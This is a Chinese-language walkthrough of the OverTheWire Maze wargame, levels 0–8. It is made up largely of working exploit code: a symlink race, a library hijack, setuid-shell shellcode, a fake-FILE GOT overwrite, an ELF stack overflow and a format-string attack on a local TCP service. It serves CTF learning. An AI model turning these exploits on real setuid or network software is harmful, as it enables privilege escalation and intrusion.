level 0 → level 1
SSH InformationHost: maze.labs.overthewire.orgPort: 2225User: maze0Pass: maze0Passwords: /etc/maze_pass/Binaries: /maze/Maze 是一个侧重 exploitation 技巧的 wargame,难度 5/10,共 9 关(0-8)。涵盖 TOCTOU race condition、library hooking、shellcode、self-modifying code、自定义 ELF 解析、ptrace 反调试、格式字符串漏洞等。
所有 binary 均为 32-bit i386 ELF,编译时带 -g debug info 和 stack protector,nasm/ld 可用,gcc 可用 -m32 编译。
maze0@maze:~$ ls -la /maze/total 140-r-sr-x--- 1 maze1 maze0 13408 maze0-r-sr-x--- 1 maze2 maze1 12252 maze1-r-sr-x--- 1 maze3 maze2 12708 maze2-r-sr-x--- 1 maze4 maze3 4728 maze3-r-sr-x--- 1 maze5 maze4 16220 maze4-r-sr-x--- 1 maze6 maze5 14884 maze5-r-sr-x--- 1 maze7 maze6 14204 maze6-r-sr-x--- 1 maze8 maze7 14716 maze7-r-sr-x--- 1 maze9 maze8 16324 maze8每个 level 的 binary 命名规则:/maze/mazeN 是 setuid maze(N+1),跑在 mazeN 下,目标是读 /etc/maze_pass/maze(N+1)。
经典 TOCTOU (Time-of-check Time-of-use) 竞争条件。
Binary 逻辑(r2 反汇编):
memset(buf, 0, 0x14):清空 20 字节 bufferaccess("/tmp/128ecf542a35ac5270a87dc740918404", R_OK):用 real uid (maze0) 检查可读性- 如果 access 失败 → 直接 return
setresuid(maze1, maze1, maze1):全部提权到 maze1open(path, O_RDONLY)→read(fd, buf, 19)→write(1, buf, 19):读取并输出
race window 在 access() 和 open() 之间,只有十几个指令周期。ln -sf 太慢,需要用 rename() 原子交换预创建的 symlink:
#include <stdio.h>#include <unistd.h>#include <string.h>
#define TARGET "/tmp/128ecf542a35ac5270a87dc740918404"
int main() { symlink("/etc/maze_pass/maze0", "/tmp/_m0"); symlink("/etc/maze_pass/maze1", "/tmp/_m1"); while (1) { rename("/tmp/_m0", TARGET); // 原子 → maze0 symlink("/etc/maze_pass/maze0", "/tmp/_m0"); rename("/tmp/_m1", TARGET); // 原子 → maze1 symlink("/etc/maze_pass/maze1", "/tmp/_m1"); }}maze0@maze:/tmp$ gcc -m32 -o toggle toggle.cmaze0@maze:/tmp$ ./toggle & # 后台 symlink 切换maze0@maze:/tmp$ for i in $(seq 1 1000); do result=$(/maze/maze0 2>/dev/null) if [ -n "$result" ]; then echo "HIT: $result"; break fidoneHIT: **********原理:rename() 在同一文件系统上是原子的,target 始终指向一个有效文件(无 broken symlink 窗口)。access() 通过时 link 指向 maze0(maze0 可读),open() 时已被换为 maze1(maze1 可读)。
[credential redacted]
level 1 → level 2
maze1 的 binary 链接了一个不存在的 ./libc.so.4:
maze1@maze:~$ /maze/maze1/maze/maze1: error while loading shared libraries: ./libc.so.4: cannot open ...
maze1@maze:~$ readelf -d /maze/maze1 | grep NEEDED NEEDED ./libc.so.4 NEEDED libc.so.6Binary 只调用 puts("Hello World!")。创建 hook library 劫持 puts() 即可读密码:
#define _GNU_SOURCE#include <stdio.h>#include <unistd.h>#include <string.h>
int puts(const char *message) { FILE *fp; char buffer[30] = {0}; fp = fopen("/etc/maze_pass/maze2", "r"); if (fp) { fread(buffer, 29, 1, fp); fclose(fp); } printf("PASSWORD: %s\n", buffer); return printf("Hooked: %s\n", message ? message : "(null)");}maze1@maze:/tmp/work$ gcc -m32 -shared -fPIC -fno-stack-protector \ -o libc.so.4 hookputs.c -ldlmaze1@maze:/tmp/work$ /maze/maze1PASSWORD: **********Hooked: Hello World!注意需要 -fno-stack-protector 关闭 stack canary,否则 ld 链接时报 __stack_chk_fail_local 未定义。
[credential redacted]
level 2 → level 3
maze2 的 binary 从 argv[1] 复制 8 字节到栈上 buffer,然后 call *buffer,8 字节 shellcode 约束。
反汇编要点:
cmpl $2, 8(%ebp) ; if argc != 2 → exit(1)strncpy(buf, argv[1], 8) ; copy 8 bytesmov buf_addr, %eaxcall *%eax ; execute shellcode解决方案:真正 shellcode 存入环境变量 SC,8 字节只做 push <addr>; ret(6 字节)。
maze3 uid = 15003 = 0x3a9b。用 pwntools 生成完整 shellcode:
maze2@maze:/tmp/work$ python3 -c "from pwnlib.asm import asmimport syssc = asm(' xor eax,eax;mov al,70 xor ebx,ebx;mov bx,0x3a9b xor ecx,ecx;mov cx,0x3a9b int 0x80 xor eax,eax;push eax push 0x68732f2f;push 0x6e69622f mov ebx,esp;xor ecx,ecx xor edx,edx;mov al,11 int 0x80', arch='i386')sys.stdout.buffer.write(b'\x90'*200 + sc)" > sc.bin
maze2@maze:/tmp/work$ export SC=$(cat sc.bin)maze2@maze:/tmp/work$ gcc -m32 -o getaddr -xc - <<< '#include <stdio.h>#include <stdlib.h>int main(){printf("SC:%p\n",getenv("SC"));}'
maze2@maze:/tmp/work$ ./getaddrSC at 0xffffdcd0
maze2@maze:/tmp/work$ /maze/maze2 $(python3 -c "from pwnlib.asm import asmimport syssys.stdout.buffer.write(asm('push 0xffffdcd0; ret', arch='i386'))")$ cat /etc/maze_pass/maze3[credential redacted]
level 3 → level 4
maze3 的 binary 是静态链接的(statically linked),使用自修改代码(self-modifying code)。
mprotect() 设置代码段 RWX,然后用 key 0x12345678 XOR 解码 d1 函数区域,reveal 出一段 shellcode。shellcode 检查 argv[1] == 0x1337c0de,通过则 setreuid(maze4) + execve("/bin/sh")。
# <<<(here-string)maze3@maze:~$ /maze/maze3 $(printf '\xde\xc0\x37\x13') <<< "cat /etc/maze_pass/maze4"**********注意:0x1337c0de 作为 int 是 little-endian \xde\xc0\x37\x13。
[credential redacted]
level 4 → level 5
maze4 的 binary 读取用户提供的文件,解析为 ELF header + program header,验证通过后 execv() 执行。
验证逻辑(反汇编):
read(fd, &ehdr, 0x34):读 52 bytes ELF header 到栈上lseek(fd, ehdr.e_phoff, SEEK_SET):定位到 program headerread(fd, &phdr, 0x20):读 32 bytes program header- 检查 1:
phdr.p_paddr == ehdr.e_ident[7] * ehdr.e_ident[8](两个 byte 乘积) - 检查 2:
stat.st_size <= 0x7b(文件大小 ≤ 123 bytes) puts("valid file, executing"); execv(file, NULL, NULL);
execv() 保留 setuid 权限,但 shell (/bin/sh) 会主动 drop privilege。需要编译一个专用 reader binary。
maze4@maze:/tmp/work$ cat > reader.c << EOF#include <unistd.h>#include <fcntl.h>int main(){char b[50]={0};int fd=open("/etc/maze_pass/maze5",0);int n=read(fd,b,49);write(1,b,n);return 0;}EOF
maze4@maze:/tmp/work$ TMPDIR=. gcc -m32 -o reader reader.cmaze4@maze:/tmp/work$ ln -sf reader rELF header 与 shebang #!/tmp/maze4w/r\n 重叠。e_ident[7] 和 [8] 由 shebang 的第 7、8 字节决定:
maze4@maze:/tmp/work$ python3 -c "import structsh = b'#!/tmp/maze4w/r\n'b7, b8 = sh[7], sh[8] # 0x6d ('m'), 0x61 ('a')prod = b7 * b8 # 0x295dpad = 28 - len(sh) # 补齐到 byte 28(e_phoff 位置)data = sh + b'\x00'*pad + struct.pack('<I',0x20) + b'B'*12 + struct.pack('<I',prod) + b'C'*16open('elf_file','wb').write(data)"
maze4@maze:/tmp/work$ chmod +x elf_filemaze4@maze:/tmp/work$ /maze/maze4 elf_filevalid file, executing**********- shebang 指向编译好的 reader binary(不 drop privilege)
- ELF header 字节与 shebang 重叠,
e_ident[7]和[8]必须是 shebang 的实际字符 e_phoff = 0x20让 program header 与 ELF header 尾部重叠p_paddr(PHDR 偏移 0xc)必须等于两个 e_ident 字节的乘积
[credential redacted]
level 5 → level 6
maze5 的 binary 要求输入 username (8 字符) 和 key (8 字符),调用 foo(user, pass) 校验。
反编译逻辑:
int foo(char* user, char* pass) { char p[9] = {0x70, 0x72, 0x69, 0x6e, 0x74, 0x6c, 0x6f, 0x6c}; for (int i = 0; i < strlen(pass); ++i) { p[i] -= user[i] + 2 * i - 0x41; } int i = strlen(pass); do { i -= 1; if (i == 0) return 1; } while (pass[i] == p[i]); return 0;}要 pass:user[i] + 2*i - 0x41 = 0 → user[i] = chr(0x41 - 2*i)。此时 p 数组不变,key = 原始 p 值 = printlol。
Binary 使用了 ptrace(PTRACE_TRACEME) 反调试。通过后调用 system("/bin/sh")。
但 pipeline 传入 input 时 system() 产生的 shell 会收到 SIGTTOU。需要使用 pty:
import pty, os, time
pid, fd = pty.fork()if pid == 0: os.execv("/maze/maze5", ["/maze/maze5"])else: time.sleep(0.5) os.write(fd, b"A?=;9753\n") time.sleep(0.3) os.write(fd, b"printlol\n") time.sleep(0.3) os.write(fd, b"cat /etc/maze_pass/maze6\n") time.sleep(0.5) while True: data = os.read(fd, 4096) if not data: break print(data.decode(errors="ignore"), end="")X---------------- Username: A?=;9753 Key: printlol
Yeh, here's your shell**********[credential redacted]
level 6 → level 7
maze6 的 binary 是一个 strcpy overflow + memfrob XOR + fake FILE 的组合题。
maze6@maze:~$ /maze/maze6usage: /maze/maze6 file2write2 string
maze6@maze:~$ /maze/maze6 /tmp/out testmaze6@maze:~$ cat /tmp/out/tmp/out : khin # "test" XOR 0x2A per byte = khinBinary 分析
main: sub esp, 0x104 ; buf[260] at ebp-0x104 cmp [ebp+8], 3 ; argc == 3? jne usage ; fd = fopen(argv[1], "w") call fopen ; → eax = 0x0804c1a0 (deterministic) mov [ebp-4], eax ; fd at ebp-4 ; strcpy(buf, argv[2]) lea eax, [ebp-0x104] push [ebp+0xc]+8 ; argv[2] push eax call strcpy ; NO bounds check ; len = strlen(buf) ; memfrob(buf, len) ; XOR each byte with 0x2A call strlen push eax lea eax, [ebp-0x104] push eax call memfrob ; fprintf(fd, "%s : %s\n", argv[1], buf) push [ebp-0x104] ; buf push argv[1] push "%s : %s\n" push [ebp-4] ; fd call fprintf ; exit(0) push 0 call exit ; never returns安全属性(readelf -l + objdump -R):
ASLR off (`randomize_va_space=0`)RELRO none — GOT writableNX disabled — GNU_STACK RWEStack canary none (`-fno-stack-protector`)PIE none — fixed base 0x08048000关键常量(ASLR off 下固定):
libc 32-bit base = 0xf7d82000_IO_file_jumps = 0xf7faa7a8 (libc + 0x2287a8)fopen → FILE* = 0x0804c1a0 (heap)buf = 0xffffda74 (ebp-0x104)strcpy@got = 0x0804b204exit@got = 0x0804b208栈布局(从低到高):
ebp-0x104 buf[0] ← strcpy 目标...ebp-0x04 fd (FILE*) ← offset 256 from bufebp saved ebpebp+0x04 return addrebp+0x08 argcebp+0x0c argv漏洞利用链
目标:覆写 exit@got 为 shellcode 地址,让 exit(0) 跳转到 shellcode。
约束:
strcpy(buf, argv[2])只能通过 argv 传入,不能含\x00(否则 strcpy 截断)memfrob(buf, len)XOR 整个 buf 区域:所有数据需 pre-XOR()fprintf不接受 fake FILE* → 需要在栈上构造合法的_IO_FILE结构exit(0)无 return → 只能通过 GOT overwrite 劫持控制流
关键洞察 1:pre-XOR 一切
def pre_xor(val): return val ^ 0x2A2A2A2A # 每个字节 XOR 0x2A
# memfrob 会把 buf[i] ^= 0x2A# 所以放入 buf 的字节 = desired_byte ^ 0x2A# → 经过 memfrob 后恢复为 desired_byte关键洞察 2:argv[1] 即 shellcode 地址
fprintf 输出 "%s : %s\n",第一个 %s 是 argv[1](文件名)。如果 argv[1] 恰好是 4 字节,则 exit@got 的前 4 字节 = argv[1] 的内容。
因此将 argv[1] 设为 4 字节的 shellcode 地址(\x74\xda\xff\xff = 0xffffda74),fopen 以 “w” 模式打开这个怪文件名不会有问题(Linux 允许任意非 \x00 非 / 的字节做文件名)。只需从 /tmp 目录运行,相对路径刚好 4 字节。
关键洞察 3:glibc 2.39 32-bit 的 _IO_FILE 布局
通过 GDB dump fopen 返回的真实 FILE 结构,确定各字段偏移:
offset field real FILE value our fake FILE------ ---- ---------------- -------------0x00 _flags 0xfbad3484 0xfbad2480 (no _IO_NO_WRITES)0x10 _IO_write_base 0x00000000 0x0804b208 (exit@got)0x14 _IO_write_ptr 0x00000000 0x0804b208 (empty buffer)0x18 _IO_write_end 0x00000000 0x0804c208 (exit@got+0x1000)0x34 _chain 0xf7fabca0 0x00000000 (NULL, end of chain)0x38 _fileno 0x00000003 0x00000002 (stderr if overflow flush)0x48 _lock 0x0804c238 0x0804c238 (reuse real FILE's lock)0x94 vtable 0xf7faa7a8 0xf7faa7a8 (_IO_file_jumps)关键点:
_IO_write_base == _IO_write_ptr == exit@got→ fprintf 直接写入 GOT_IO_write_end远大于输出长度 → 永远不会触发 buffer flush(避免 vtable overflow 调用)_lock复用真实 FILE 的 lock(单线程程序,无竞争)vtable指向 libc 的合法_IO_file_jumps(通过_IO_validate_vtable检查)
Exploit 代码
import struct, os
def pre_xor_dword(val): return val ^ 0x2A2A2A2A
def pre_xor_bytes(data): return bytes([b ^ 0x2a for b in data])
# ---- addresses (ASLR off, glibc 2.39) ----buf_addr = 0xffffda74exit_got = 0x0804b208libc_base = 0xf7d82000io_file_jumps = libc_base + 0x002287a8 # 0xf7faa7a8real_lock = 0x0804c238 # reuse fopen's lock
# ---- build fake FILE (0x98 bytes) ----fake_file_off = 0x30 # offset in buffake_file_addr = buf_addr + fake_file_off
fake = b''33 collapsed lines
fake += struct.pack('<I', pre_xor_dword(0xfbad2480)) # 0x00 _flagsfake += struct.pack('<I', pre_xor_dword(0)) * 3 # 0x04-0x0C read ptrsfake += struct.pack('<I', pre_xor_dword(exit_got)) # 0x10 _IO_write_basefake += struct.pack('<I', pre_xor_dword(exit_got)) # 0x14 _IO_write_ptrfake += struct.pack('<I', pre_xor_dword(exit_got+0x1000))# 0x18 _IO_write_endfake += struct.pack('<I', pre_xor_dword(exit_got)) # 0x1C _IO_buf_basefake += struct.pack('<I', pre_xor_dword(exit_got+0x1000))# 0x20 _IO_buf_endfor _ in range(5): fake += struct.pack('<I', pre_xor_dword(0)) # 0x24-0x34fake += struct.pack('<I', pre_xor_dword(2)) # 0x38 _filenofor _ in range(3): fake += struct.pack('<I', pre_xor_dword(0)) # 0x3C-0x44fake += struct.pack('<I', pre_xor_dword(real_lock)) # 0x48 _lockfake += struct.pack('<Q', pre_xor_dword(0)) # 0x4C _offset (8 bytes)for _ in range(4): fake += struct.pack('<I', pre_xor_dword(0)) # 0x54-0x60fake += struct.pack('<Q', pre_xor_dword(0)) # 0x64 __pad5fake += struct.pack('<I', pre_xor_dword(0)) # 0x6C _modefor _ in range(9): fake += struct.pack('<I', pre_xor_dword(0)) # 0x70-0x93fake += struct.pack('<I', pre_xor_dword(io_file_jumps)) # 0x94 vtable
assert len(fake) == 0x98
# ---- shellcode: execve("/bin/sh") ----sc = ( b'\x31\xc0\x50\x68\x2f\x2f\x73\x68' b'\x68\x2f\x62\x69\x6e\x89\xe3\x50' b'\x53\x89\xe1\x99\xb0\x0b\xcd\x80')sc_prexor = pre_xor_bytes(sc)
# ---- assemble payload ----payload = sc_prexorpayload += bytes([0x2a] * (fake_file_off - len(payload))) # pad to fake FILEpayload += fakepayload += bytes([0x2a] * (0x100 - len(payload))) # pad to fdpayload += struct.pack('<I', pre_xor_dword(fake_file_addr))# overwrite fd
# ---- argv[1] = 4 bytes = buf_addr ----argv1 = struct.pack('<I', buf_addr) # \x74\xda\xff\xff
# ---- execute ----os.chdir('/tmp')os.execv('/maze/maze6', ['/maze/maze6', argv1, payload])执行:
maze6@maze:/tmp$ python3 exploit.py$ cat /etc/maze_pass/maze7**********技术要点
为什么 fake FILE 不触发 vtable overflow?
fprintf 输出总长度 ≈ len(argv[1]) + 3 + len(buf) + 1 ≈ bytes。_IO_write_end - _IO_write_base = 0x1000(4KB),远超输出长度。_IO_putc 宏检测到 _IO_write_ptr < _IO_write_end 时直接内存写入,不触发 __overflow() → vtable 调用。因此 vtable 仅需通过 _IO_validate_vtable 的地址范围检查,不需要实际调用。
为什么 lock 复用真实 FILE 的?
glibc 的 _IO_lock_lock(fp) 检查 fp->_lock != NULL 才会加锁。用真实 FILE 的 lock(0x0804c238)保证 lock 结构合法且初始为 unlocked 状态。
为什么 memfrob 不影响 shellcode?
所有放入 payload 的字节都经过 pre_XOR(byte ^ 0x2A)。memfrob 再 XOR 一次恢复原值。因此 shellcode 和 fake FILE 在 XOR 后回到预期状态。
[credential redacted]
level 7 → level 8
/maze/maze7 是一个 ELF section header dumper。读取攻击者提供的 ELF 文件,信任 header 里的 e_shoff、e_shnum、e_shentsize、e_shstrndx,循环打印 section 信息。
漏洞点在第二次读取 section header:
read(fd, &shdr_on_stack, e_shentsize);printf(strtab + shdr.sh_name, shdr.sh_addr, shdr.sh_size);shdr_on_stack 是固定大小的 Elf32_Shdr,但 e_shentsize 完全由文件控制。设大以后 read() 会从 section header 覆盖到 saved return address。
live 调试测得偏移:section-header stack buffer + 64 → saved eip。
直接覆盖会先在 free(ptr) / free(strs) 崩掉,因为栈上的 heap 指针也被污染。稳定做法:
- 构造最小 fake ELF
e_shentsize = 220,触发大读- 第一段 section header 保持基本合法,让程序走到
printf() - 覆盖局部变量
ptr = NULL、strs = NULL,让后续free(NULL)安全返回 sh_name不用 string table 偏移,放成一个可读 rodata 绝对地址,满足printf(ptr + sh_name, ...)- saved eip 跳到栈上 NOP sled,shellcode 执行
setresuid(15008,15008,15008); execve('/bin/sh')
利用生成脚本:
#!/usr/bin/env python3from pathlib import Pathimport struct
def ehdr(e_shoff, e_shnum, e_shentsize, e_shstrndx): e=bytearray(52); e[:4]=b'\x7fELF'; e[4]=1; e[5]=1; e[6]=1 struct.pack_into('<I',e,0x20,e_shoff); struct.pack_into('<H',e,0x2e,e_shentsize); struct.pack_into('<H',e,0x30,e_shnum); struct.pack_into('<H',e,0x32,e_shstrndx) return e
def build(ret, buf, path): data=bytearray(b'\x00'*0x800) data[:52]=ehdr(0x100,0,220,0) data[0x180:0x183]=b'\x00Z\x00' sc=bytes.fromhex('31c0b0a431db66bba03a31c966b9a03a31d266baa03acd8031c050682f2f7368682f62696e89e3505389e131d2b00bcd80') payload=bytearray(b'\x00'*220) # ptr will be overwritten to NULL; sh_name becomes an absolute readable string pointer. struct.pack_into('<I', payload, 0x00, 0x0804a008) struct.pack_into('<I', payload, 0x0c, 0x11111111) # sh_addr struct.pack_into('<I', payload, 0x10, 0x180) # sh_offset struct.pack_into('<I', payload, 0x14, 3) # sh_size12 collapsed lines
payload[72:74]=b'A\x00' # Overwritten locals after 40-byte shdr. struct.pack_into('<I', payload, 40, 0) # ptr local -> NULL; printf uses absolute sh_name struct.pack_into('<I', payload, 44, 0) # var_10h scratch struct.pack_into('<I', payload, 48, 0) # strs local -> NULL; free(NULL) safe struct.pack_into('<I', payload, 52, 0) # shdr counter struct.pack_into('<I', payload, 56, 0x42424242) # saved ebx struct.pack_into('<I', payload, 60, 0x43434343) # saved ebp struct.pack_into('<I', payload, 64, ret) # saved eip payload[80:160]=b'\x90'*80 payload[160:160+len(sc)]=sc data[0x100:0x100+len(payload)]=payload Path(path).write_bytes(data)
if __name__ == '__main__': import sys ret=int(sys.argv[1],16) if len(sys.argv)>1 else 0xffffdb70 buf=int(sys.argv[2],16) if len(sys.argv)>2 else 0xffffdb14 build(ret, buf, 'maze7_exploit.elf') print(hex(ret), hex(buf))执行:
maze7@maze:/tmp$ /maze/maze7 maze7_exploit.elf$ iduid=15008(maze8) gid=15007(maze7) groups=15007(maze7)$ cat /etc/maze_pass/maze8**********[credential redacted]
level 8 → level 9
/maze/maze8 是 TCP format string service。接受端口参数监听本地,错误口令路径:
recv(client_fd, input, 511, 0);snprintf(reply, 512, input);send(client_fd, reply, strlen(reply), 0);探测 format offset:
AAAA.%1$08x -> AAAA.41414141payload 开头的 dword 就是第一个 positional argument。strlen() 在 snprintf() 后立刻调用,可覆盖 strlen@got:
strlen@got = 0x0804b268payload 结构:
payload = p32(strlen_got)payload += p32(strlen_got + 2)payload += b"%<low-8>x%1$hn"payload += b"%<high-low>x%2$hn"payload += b"\x90" * padpayload += shellcode最初尝试把 strlen@got 指向 /bin/sh shellcode。GDB 下能看到成功执行 /usr/bin/dash,但远程 socket 没有交互输出:/bin/sh 的 stdin/stdout 不等于 client socket。
最终解法是不 spawn shell,而是让 shellcode 直接完成取证:
setresuid(15009,15009,15009)open('/etc/maze_pass/maze9', O_RDONLY)read(fd, esp, 64)write(4, esp, n) ; accepted client fdexit(0)最终脚本:
#!/usr/bin/env python3import socketimport structimport subprocessimport sysimport timeimport select
PORT = 31338STRLEN_GOT = 0x0804b268TARGET = 0xffffda50
# setresuid(15009,15009,15009); open('/etc/maze_pass/maze9'); read(fd, esp, 64); write(4, esp, n); exit(0)SC = bytes.fromhex( '31c0b0a431db66bba13a89d989dacd80' '31c05068617a65396873732f6d68655f7061682f6d617a682f65746389e331c931d2b005cd80' '89c389e1b240b003cd80' '89c231dbb304b004cd80' '31dbb001cd80')30 collapsed lines
def payload_for(target): low = target & 0xffff high = (target >> 16) & 0xffff writes = [(STRLEN_GOT, low, 1), (STRLEN_GOT + 2, high, 2)] writes.sort(key=lambda item: item[1]) prefix = struct.pack('<II', writes[0][0], writes[1][0]) count = len(prefix) pad1 = (writes[0][1] - count) % 0x10000 pad2 = (writes[1][1] - writes[0][1]) % 0x10000 fmt = prefix + f'%{pad1}x%1$hn%{pad2}x%2$hn'.encode() return fmt + b'\x90' * (200 - len(fmt)) + SC + b'\n'
proc = subprocess.Popen(['/maze/maze8', str(PORT)], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)time.sleep(0.4)try: sock = socket.create_connection(('127.0.0.1', PORT), timeout=2) sock.recv(200) sock.sendall(payload_for(TARGET)) end = time.time() + 4 out = b'' while time.time() < end: readable, _, _ = select.select([sock], [], [], 0.2) if not readable: continue chunk = sock.recv(4096) if not chunk: break out += chunk sys.stdout.buffer.write(out)finally: proc.terminate() try: proc.wait(timeout=1) except subprocess.TimeoutExpired: proc.kill()live 输出:
maze8@maze:/tmp$ python3 solve_maze8_readpass.py**********凭据读取后的 UID 与目标文件权限记录(历史交互;未重新连接服务):
$ ssh -p 2225 maze9@maze.labs.overthewire.orgmaze9@maze:~$ iduid=15009(maze9) gid=15009(maze9) groups=15009(maze9)maze9@maze:~$ ls -l /maze /etc/maze_pass/maze9-r-------- 1 maze9 maze9 11 Apr 3 15:19 /etc/maze_pass/maze9[credential redacted]